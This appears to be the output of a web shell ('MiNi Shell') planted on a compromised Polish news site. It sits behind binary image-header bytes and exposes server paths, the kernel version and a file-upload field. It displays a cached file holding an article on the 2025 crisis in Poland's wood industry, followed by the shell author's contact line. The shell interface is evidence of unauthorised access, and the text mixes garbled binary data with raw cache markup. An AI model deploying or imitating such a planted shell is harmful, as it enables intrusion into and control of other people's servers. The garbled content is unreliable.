JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /proc/self/root/home/vmanager/www/frontend/runtime/cache/19/

Linux 9dbcd5f6333d 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64
Upload File :
Current File : //proc/self/root/home/vmanager/www/frontend/runtime/cache/19/1915bee12dcac40b69b7575713bfb8bf.bin

a:2:{i:0;a:2:{i:0;s:21796:" 
                    
                    <h3 class="title" itemprop="headline">Branża drzewna na zakręcie - polityka rządu, kryzys surowcowy i walka o przetrwanie</h3>
                    <p><span class="glyphicon glyphicon-time" aria-hidden="true"></span> <strong itemprop="datePublished"> 30-06-2025, 12:50</strong>
                        <meta itemprop="dateModified" content=" 30-06-2025, 12:50"/>
                        <div class="hide" itemprop="description">Polski przemysł drzewny – obejmujący tartaki, producentów płyt, opakowań drewnianych, mebli, celulozy i papieru – przeżywa jedno z najtrudniejszych załamań od dekad. Spadki produkcji i eksportu, gwałtownie malejąca rentowność firm oraz rosnące zadłużenie i upadłości zachwiały fundamentami tej branży. Rząd ogłosił wprawdzie w 2024 roku „pakiet dla przemysłu drzewnego” z szeregiem działań wspierających, jednak efekty tych inicjatyw będą odczuwalne dopiero w przyszłości. Tymczasem sektor mierzy się z konsekwencjami taniego importu z Ukrainy i ograniczeń w pozyskiwaniu krajowego surowca. Banki sygnalizują rosnące ryzyko, a przedsiębiorcy rozpaczliwie szukają sposobów na utrzymanie płynności – od restrukturyzacji po faktoring. Czy druga połowa 2025 roku przyniesie długo wyczekiwane odbicie, czy raczej pogłębi kryzys?</div>
                        <div class="hide" itemprop="publisher" itemscope itemtype="https://schema.org/Organization">
                            <meta itemprop="name" content="stolarstwo.org">
                            <div itemprop="logo" itemscope itemtype="https://schema.org/ImageObject">
                                <meta itemprop="url" content="https://www.stolarstwo.org/images/loga/stolarstwo.jpg">
                            </div>
                        </div>
                        <div class="hide" itemprop="image" itemscope itemtype="https://schema.org/ImageObject">
                            <meta itemprop="url" content="https://common.v-manager.pl/uploads/images/articles/84878/crop/800x600/drewno-417756001751626688.webp">
                        </div>
                        <meta itemscope itemprop="mainEntityOfPage" itemType="https://schema.org/WebPage" itemid="https://www.stolarstwo.org/artykuly/szczegoly/84878"/>
                        
                                        </p>

                    <div class="lorem">
                        <p><strong>Polski przemysł drzewny – obejmujący tartaki, producentów płyt, opakowań drewnianych, mebli, celulozy i papieru – przeżywa jedno z najtrudniejszych załamań od dekad. Spadki produkcji i eksportu, gwałtownie malejąca rentowność firm oraz rosnące zadłużenie i upadłości zachwiały fundamentami tej branży. Rząd ogłosił wprawdzie w 2024 roku „pakiet dla przemysłu drzewnego” z szeregiem działań wspierających, jednak efekty tych inicjatyw będą odczuwalne dopiero w przyszłości. Tymczasem sektor mierzy się z konsekwencjami taniego importu z Ukrainy i ograniczeń w pozyskiwaniu krajowego surowca. Banki sygnalizują rosnące ryzyko, a przedsiębiorcy rozpaczliwie szukają sposobów na utrzymanie płynności – od restrukturyzacji po faktoring. Czy druga połowa 2025 roku przyniesie długo wyczekiwane odbicie, czy raczej pogłębi kryzys?</strong></p>
<p>Jeszcze niedawno uchodziła za jeden z motorów polskiego eksportu i lidera europejskiego przetwórstwa drewna. Dziś – u progu lata 2025 roku – branża drzewna walczy o przetrwanie. Powodów obecnego kryzysu jest wiele, ale większość z nich ma wspólny mianownik - gwałtowne załamanie równowagi między kosztami a popytem. Po pandemicznym boomie lat 2020–2021 przyszło długie wyhamowanie – głównie na rynkach zagranicznych, na których opiera się duża część polskiej produkcji. Recesja konsumencka w Niemczech, ograniczenie inwestycji w Europie Zachodniej i spadek zamówień eksportowych odczuwalne są do dziś nie tylko w zakładach meblarskich, ale także w tartakach, papierniach czy u producentów płyt drewnopochodnych.</p>
<h3 style="text-align:left;">Skumulowane ciosy uderzają w branżę</h3>
<p>Jednocześnie krajowi producenci zmagają się z rosnącymi kosztami – energii, pracy, transportu, materiałów – które trudno przerzucić na klientów. W efekcie marże gwałtownie się skurczyły. Do tego dochodzi mocny złoty, który podcina skrzydła eksporterom. Coraz częściej opłaca się wstrzymać produkcję niż realizować kontrakty z ujemną rentownością. Branżowe stowarzyszenia alarmują: jeśli trend się nie odwróci, nawet 50 tysięcy miejsc pracy może zniknąć z rynku, a wartość potencjalnych strat przekroczy 12 miliardów złotych.</p>
<p>O ile malejący popyt można jeszcze tłumaczyć cyklem koniunkturalnym, o tyle zalew taniego drewna i półproduktów z Ukrainy to dla wielu firm nóż w plecy. Po zniesieniu ceł i kontyngentów przez Unię Europejską – w geście solidarności z ogarniętym wojną sąsiadem – rynek zalały transporty drewna, sklejki i elementów palet, oferowane często po cenach niższych niż koszty produkcji w Polsce. Szczególnie boleśnie skutki tego importu odczuwają producenci opakowań drewnianych – z paletami na czele – którzy coraz częściej są wypierani z rynku, mimo że jeszcze niedawno byli jego liderami.</p>
<h3 style="text-align:left;">Surowiec na wagę złota - dramatyczny spadek podaży drewna w kraju</h3>
<p>Branża drzewna bez drewna? Jeszcze kilka lat temu taki scenariusz wydawał się nierealny. Tymczasem firmy z sektora przetwórstwa drewna coraz częściej wprost mówią o realnym deficycie surowca. Wszystko za sprawą serii decyzji środowiskowych, które ograniczyły pozyskiwanie drewna w Lasach Państwowych.</p>
<p>Wprowadzone od początku 2024 roku moratorium, obejmujące ok. 20% powierzchni lasów, odcięło dostęp do cennych drzewostanów w regionach takich jak Bieszczady, Puszcza Białowieska czy</p>
<p>Karpacka. Dyrektor Generalny Lasów Państwowych potwierdził, że w 2025 roku oferta drewna do sprzedaży będzie mniejsza o około 2 mln m³ względem roku ubiegłego. To ogromna różnica, która przekłada się na cały rynek – od tartaków, przez producentów płyt, po zakłady meblarskie i papiernie.</p>
<h3 style="text-align:left;">Reakcja rządu - pakiet wsparcia, blokady importu i pierwsze reformy</h3>
<p>Choć przez długi czas politycy unikali jednoznacznych deklaracji wobec pogarszającej się sytuacji przemysłu drzewnego, w końcu – pod presją branży i opinii publicznej – zaczęli działać. W marcu 2024 roku zaprezentowano tzw. „Pakiet dla Przemysłu Drzewnego”: zestaw dziewięciu rekomendacji, które miały zwiększyć dostępność surowca dla krajowych przetwórców i ograniczyć eksport nieprzetworzonego drewna. Najważniejsze założenia obejmowały zwiększenie puli drewna dla krajowych klientów, premiowanie firm prowadzących głęboki przerób na terenie Polski oraz preferowanie dostaw do odbiorców lokalnych, by zmniejszyć ślad transportowy. Wprowadzono także m.in. większy udział sprzedaży ofertowej dla zweryfikowanych odbiorców krajowych.</p>
<p>Pod koniec 2024 roku rząd chwalił się, że pakiet przynosi pierwsze efekty: eksport drewna do Chin spadł o 39% (czyli o 108 tys. ton). Jednak Polska Izba Gospodarcza Przemysłu Drzewnego (PIGPD) studziła ten entuzjazm. Wskazywała też na paradoks: mimo deklarowanej ochrony krajowego przemysłu, w całym 2024 roku eksport surowca z Polski wzrósł o ponad 26% – do 4,2 mln m³, w tym wywóz poza UE zwiększył się o 25%.</p>
<p>Równolegle do działań wspierających przetwórców, rząd próbuje też ograniczyć napływ taniego surowca z Ukrainy. W marcu 2025 roku polskie służby celne zaczęły zatrzymywać na granicy transporty drewna i półproduktów drzewnych z Ukrainy. Środowisko drzewne poparło tę decyzję, domagając się jednocześnie wprowadzenia unijnych ceł antydumpingowych na ukraińskie drewno, na wzór sankcji zastosowanych w czerwcu 2025 roku przez UE wobec sklejki liściastej z Chin (do 62,4%). W Brukseli jednak nadal brakuje konsensusu w tej sprawie, a Komisja Europejska nie chce ryzykować precedensu ograniczania handlu z krajem objętym wojną.</p>
<p>Rząd dostrzegł także problem konkurencji między przemysłem drzewnym a energetyką. Przez lata duża część wartościowego drewna – w tym sortymenty pełnowartościowe – trafiała do elektrociepłowni jako biomasa. Przemysł od lat alarmował, że traci przez to dostęp do surowca, który mógłby być przetwarzany z większą wartością dodaną. W czerwcu 2025 roku rząd wykonał pierwszy ruch - rozporządzeniem wyłączono część sortymentów z kwalifikacji jako biomasa. Ten długo oczekiwany krok PIGPD określiła jako „pierwszy prawdziwy sygnał, że głos przemysłu został wysłuchany”.</p>
<h3 style="text-align:left;">Branża w liczbach - pierwsze oznaki odbicia czy cisza przed burzą?</h3>
<p>Od stycznia 2025 r. funkcjonuje nowy system sprzedaży drewna z preferencjami dla lokalnego przerobu i ograniczeniami eksportu surowca, co ma wspierać krajowy przemysł. Wreszcie, po miesiącach zapaści, polski przemysł drzewny zaczął łapać oddech. Dane Głównego Urzędu Statystycznego napawają ostrożnym optymizmem – przynajmniej w przypadku części sektora. W marcu 2025 roku produkcja sprzedana wyrobów z drewna, korka, słomy i wikliny wzrosła aż o 13,3% rok do roku, co uplasowało przemysł drzewny w czołówce najszybciej rozwijających się branż przetwórstwa. W całym pierwszym kwartale wzrost wyniósł 6,9%. Najnowsze dane za maj pokazują wzrost o 7,6%.</p>
<p>Branża odbiera te wyniki jako sygnał, że najgorsze może już być za nią – przynajmniej jeśli chodzi o podstawową produkcję tartaczną i elementy drewniane. Firmy zaczynają nadrabiać zaległości z końca 2024 roku, a niektóre z nich – głównie średniej wielkości zakłady – notują wzrosty portfela zamówień z krajowego rynku. Trudno jednak mówić o powszechnym odbiciu – szczególnie, gdy spojrzymy na sektor meblarski.</p>
<p>Tu sytuacja nadal jest daleka od komfortowej. Producenci mebli weszli w 2025 rok z bagażem problemów – zmniejszonymi zamówieniami, rosnącymi kosztami i presją ze strony taniego importu. W 2024 roku wolumen eksportu mebli zmniejszył się o 6%, a import mebli wzrósł o 10%. Wartość produkcji sprzedanej mebli w I kwartale 2025 roku wyniosła 14,8 mld zł i choć to wynik niewiele niższy niż przed rokiem, wciąż nie widać wyraźnego odbicia. Światełkiem w tunelu może być wzrost produkcji sprzedanej mebli o 8,7% w maju 2025 roku. Eksport mebli – dotąd lokomotywa całej branży – nadal pozostaje jednak osłabiony, bo rynek niemiecki, kluczowy dla polskich producentów, wciąż nie wrócił do formy.</p>
<p>Jest jednak iskierka nadziei – i to z rynku krajowego. W kwietniu 2025 roku sprzedaż detaliczna w kategorii „meble, RTV, AGD” wzrosła realnie o 13,2% rok do roku. Łączny wzrost w pierwszych czterech miesiącach roku sięgnął 12,5%. Analitycy ING zauważyli, że „początek II kwartału 2025 r. wyglądał bardziej optymistycznie niż niemrawy I kwartał”, wskazując na jednoczesny wzrost popytu konsumenckiego i spadek inflacji. Eksperci B+R Studio oceniają, że cały 2025 rok będzie okresem stabilizacji, ale na wyraźny powrót do dynamiki sprzed kryzysu branża będzie musiała jeszcze poczekać.</p>
<h3 style="text-align:left;">Długi, niewypłacalność, widmo upadłości - finanse branży na krawędzi</h3>
<p>Choć dane produkcyjne z początku 2025 roku dają nadzieję na poprawę, to obraz finansowej kondycji firm z branży drzewnej wciąż jest alarmujący. Wzrost zadłużenia, utrata płynności i narastające ryzyko bankructw pokazują, że wielu przedsiębiorców balansuje na granicy upadłości. Jak wynika z danych Krajowego Rejestru Długów, zadłużenie firm z sektora drzewnego przekroczyło już 100 milionów złotych – to o ponad 30 mln zł więcej niż zaledwie 2,5 roku temu. Największe trudności mają tartaki, a także producenci palet, elementów ogrodowych czy podłóg.</p>
<p>Problemy nie omijają również branży meblarskiej. Łączne długi firm produkujących meble w krajowym rejestrze długów sięgają już 130 mln zł, po wzroście o ponad 20% rok do roku. – „Coraz więcej przedsiębiorstw musi wybierać między utrzymaniem płynności a spłatą zobowiązań” – wskazują analitycy branżowi. Gorsza kondycja finansowa producentów mebli rykoszetem uderza również w sektor drzewny – przede wszystkim w dostawców surowca i komponentów, którzy często pracują na niskich marżach i nie są w stanie samodzielnie absorbować opóźnień w płatnościach.</p>
<p>Niepokojąco wygląda również dynamika niewypłacalności. W całej gospodarce w I kwartale 2025 roku upadłość ogłosiło, według Coface, 1969 firm – to o 20% więcej niż rok wcześniej. Branża drzewna znajduje się w czołówce najbardziej zagrożonych sektorów. Już w 2024 roku liczba niewypłacalnych firm w tym obszarze wzrosła o rekordowe 167% – z 27 przypadków w III kwartale 2023 do 72 rok później. Eksperci biją na alarm: „Tysiące firm z branży drzewnej jest zagrożonych upadłością” – ostrzega Polska Izba Gospodarcza Przemysłu Drzewnego.</p>
<p>Najtrudniejsza sytuacja panuje we wschodnich regionach Polski, gdzie ograniczenia w dostępie do surowca najmocniej dały się we znaki. Na Podlasiu i Podkarpaciu zamknięto już 22% działających firm. Słabnący popyt, rosnące koszty energii i pracy, dramatycznie drogie drewno – to wszystko sprawia, że nawet firmy z długą historią działalności i mocną pozycją lokalną, nie są dziś pewne jutra.</p>
<h3 style="text-align:left;">Kredytowy klincz i finansowe koło ratunkowe - kto pomoże branży?</h3>
<p>Chociaż rząd próbuje uspokoić sytuację w branży drzewnej – m.in. poprzez zmiany w systemie sprzedaży drewna i priorytet dla lokalnych odbiorców – to realne efekty tych działań mają dopiero nadejść. W czerwcu 2025 roku wiele firm nadal boryka się z dramatycznymi brakami surowca, niepewnością jutra i kurczącymi się zasobami finansowymi. Problemy te nie uszły uwadze sektora bankowego – ale zamiast wsparcia, pojawiła się reakcja defensywna.</p>
<p>„Branża ma złe PKD” – mówią dziś w bankach, porównując sytuację firm drzewnych do tej, w jakiej kilka lat temu znalazły się przedsiębiorstwa budowlane. Instytucje finansowe zaczęły traktować sektor jako podwyższonego ryzyka – głównie ze względu na niestabilność dostaw surowca, spadające przychody i trudności z prognozowaniem sytuacji rynkowej. Jak relacjonują przedsiębiorcy, uzyskanie nowego kredytu czy leasingu stało się bardzo trudne – banki żądają dodatkowych zabezpieczeń, skracają okresy finansowania lub odmawiają go całkowicie. Podwyższone stopy procentowe, mimo pierwszej obniżki w maju 2025, wciąż windują koszt obsługi zadłużenia, co pogłębia kryzys płynności w firmach.</p>
<p>W tej sytuacji coraz częściej mówi się o potrzebie realnego wsparcia ze strony państwa. – „Robimy wszystko, żeby firmy mogły prowadzić działalność. Jeśli ktoś będzie poszkodowany, będziemy pracować nad modelami wsparcia finansowego” – deklarował wiceminister klimatu Mikołaj Dorożała. Branża oczekuje jednak konkretów: specjalnego funduszu stabilizacyjnego, preferencyjnych linii kredytowych na zakup drewna, czy gwarancji państwowych zabezpieczających kontrakty z Lasami Państwowymi. Na razie Ministerstwo Klimatu ograniczyło się do powołania zespołów roboczych z udziałem przedstawicieli Lasów i przemysłu – ale bez wymiernych rezultatów.</p>
<h3 style="text-align:left;">Faktoring – finansowa tarcza dla przemysłu drzewnego</h3>
<p>W obliczu ograniczonego dostępu do kredytu i pogarszającej się sytuacji płynnościowej, firmy z sektora drzewnego coraz częściej sięgają po alternatywne formy finansowania. Jedną z nich – i zarazem najdynamiczniej rosnącą – jest faktoring. Zyskuje on szczególnie na popularności wśród małych i średnich tartaków oraz producentów mebli i komponentów drewnianych, które najdotkliwiej odczuwają presję zatorów płatniczych i długich terminów od kontrahentów.</p>
<p>Według danych Polskiego Związku Faktorów już kilkanaście procent firm z sektora leśno-drzewnego korzysta z tej formy finansowania – co oznacza setki milionów złotych uwolnionych z zamrożonych faktur.</p>
<blockquote>
<p>Faktoring to nie tylko finansowanie bieżącej działalności. To także narzędzie, które pozwala firmom z branży drzewnej zachować płynność, kontrolować ryzyko niewypłacalności kontrahentów i bezpiecznie rozwijać eksport. W obecnej sytuacji gospodarczej, elastyczne finansowanie staje się warunkiem przetrwania dla wielu przedsiębiorstw. Szczególnie ważna jest szybkość – wiele zakładów nie może sobie pozwolić na kilkutygodniowe oczekiwanie na decyzję kredytową, podczas gdy faktoring można uruchomić nawet w kilka godzin – podkreśla Dominik Łada, Kierownik ds. finansowania biznesu w Bibby Financial Services.</p>
</blockquote>
<h3 style="text-align:left;">Perspektywy i nadzieje – czy branża przetrwa kryzys?</h3>
<p>Branża drzewna w połowie 2025 roku stoi na granicy: z jednej strony pogłębiający się kryzys surowcowy i finansowy, z drugiej – pierwsze sygnały zmian i nadziei. Wciąż rosnące zadłużenie firm, fala niewypłacalności, ograniczony dostęp do kredytów i surowca – to codzienność wielu przedsiębiorstw. Rządowy „Pakiet dla Przemysłu Drzewnego”, nowe zasady sprzedaży drewna i zapowiedzi wsparcia to krok w dobrą stronę, ale ich efekty są odłożone w czasie.</p>
<p>Firmy ratują się elastycznymi rozwiązaniami finansowymi, takimi jak faktoring, który pomaga zachować płynność i stabilność operacyjną. Sektor wciąż posiada silne atuty – doświadczenie, jakość, eksportowy potencjał – ale bez skutecznych działań systemowych i realnej współpracy z administracją, może nie przetrwać tej próby.</p>
<p>Nadzieją pozostaje nadchodząca druga połowa roku. Jeśli przyniesie uspokojenie sytuacji surowcowej, trwałe wsparcie finansowe i wzrost popytu, branża drzewna może odbić się od dna. Jeśli nie – wielu firmom grozi trwała utrata konkurencyjności, a Polsce – osłabienie jednego z filarów przemysłowego eksportu.</p>                        
                         
 
                        <div class="googleads-article">
<!-- script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"></script -->
<!-- vManager - w treści artykułu 2 -->
<ins class="adsbygoogle"
     style="display:block"
     data-ad-client="ca-pub-6177099932506559"
     data-ad-slot="9192484574"
     data-ad-format="auto"
     data-full-width-responsive="true"></ins>
<script>
     (adsbygoogle = window.adsbygoogle || []).push({});
</script>
                        </div>


                           
                    </div>
                    
                    <div class="text-center">
                                        </div>

                                            <p class="text-right">Artykuł zewnętrzny</p>
                                            
                      
                        
                        
                    
                                        
                                            <div class="nav-table tags mt05">
                            <div>Tagi:</div>    
                            <div>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=faktoring" class="label label-default">faktoring</a>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=polski+przemysł+drzewny" class="label label-default">polski przemysł drzewny</a>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=kryzys+surowcowy" class="label label-default">kryzys surowcowy</a>
                                                            </div>
                        </div>
                                            
                        
                    <div id="fb-root"></div>
                    <!--script async defer crossorigin="anonymous" src="https://connect.facebook.net/pl_PL/sdk.js#xfbml=1&version=v12.0" nonce="2g9iczzS"></script-->
                    
<script>
//<![CDATA[
var lx=!1;window.addEventListener("scroll",function(){(0!=document.documentElement.scrollTop&&!1===lx||0!=document.body.scrollTop&&!1===lx)&&(!function(){var e=document.createElement("script");e.type="text/javascript",e.async=!0,e.src="https://connect.facebook.net/pl_PL/sdk.js#xfbml=1&version=v12.0";var a=document.getElementsByTagName("script")[0];a.parentNode.insertBefore(e,a)}(),lx=!0)},!0);
//]]>
</script>
                    
                    <div class="social text-center mb1">
                        <div class="fb-like" data-href="https://www.stolarstwo.org/artykuly/szczegoly/84878_branza-drzewna-na-zakrecie-polityka-rzadu-kryzys-surowcowy-i-walka-o-przetrwanie" data-width="" data-layout="button" data-action="like" data-show-faces="false" data-share="true"></div>
                    </div>

                    
                    <div id="articles">    
                        
                    
                                    ";i:1;N;}i:1;O:25:"yii\caching\TagDependency":3:{s:4:"tags";a:2:{i:0;s:13:"article_84878";i:1;s:8:"articles";}s:4:"data";a:2:{s:32:"b255c383726809e3b0a89cd276037f87";s:21:"0.08923500 1751626721";s:32:"9f4ebfa1b76d6bc6617aec9034853422";s:21:"0.22954000 1749980350";}s:8:"reusable";b:0;}}

Creat By MiNi SheLL
Email: jattceo@gmail.com